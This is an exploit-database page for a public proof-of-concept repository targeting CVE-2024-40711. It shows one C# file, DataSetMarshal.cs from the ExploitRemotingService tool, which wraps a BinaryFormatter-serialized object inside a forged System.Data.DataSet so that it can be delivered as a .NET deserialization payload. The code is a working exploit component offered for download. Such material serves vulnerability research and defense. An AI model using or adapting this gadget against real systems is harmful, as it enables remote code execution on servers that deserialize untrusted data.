Exploit database

GH-1fc3fc563671f2a82bf8b7ea98bf58b1

watchtowrlabs/cve-2024-40711

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-40711

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files17

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

ExploitRemotingService-master/ExploitRemotingService/DataSetMarshal.cs

C# · 2,173 bytes
//    ExploitRemotingService
//    Copyright (C) 2019 James Forshaw
//
//    This program is free software: you can redistribute it and/or modify
//    it under the terms of the GNU General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    This program is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU General Public License for more details.
//
//    You should have received a copy of the GNU General Public License
//    along with this program.  If not, see <http://www.gnu.org/licenses/>.

using System;
using System.Data;
using System.IO;
using System.Runtime.Remoting.Messaging;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

namespace ExploitRemotingService
{
    [Serializable]
    class DataSetMarshal : ISerializable
    {
        object _fakeTable;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(System.Data.DataSet));
            info.AddValue("DataSet.RemotingFormat", SerializationFormat.Binary);
            info.AddValue("DataSet.DataSetName", "");
            info.AddValue("DataSet.Namespace", "");
            info.AddValue("DataSet.Prefix", "");
            info.AddValue("DataSet.CaseSensitive", false);
            info.AddValue("DataSet.LocaleLCID", 0x409);
            info.AddValue("DataSet.EnforceConstraints", false);
            info.AddValue("DataSet.ExtendedProperties", null);
            info.AddValue("DataSet.Tables.Count", 1);
            BinaryFormatter fmt = new BinaryFormatter
            {
                SurrogateSelector = new RemotingSurrogateSelector()
            };
            MemoryStream stm = new MemoryStream();
            fmt.Serialize(stm, _fakeTable);

            info.AddValue("DataSet.Tables_0", stm.ToArray());
        }
        public DataSetMarshal(object fakeTable)
        {
            _fakeTable = fakeTable;
        }
    }
}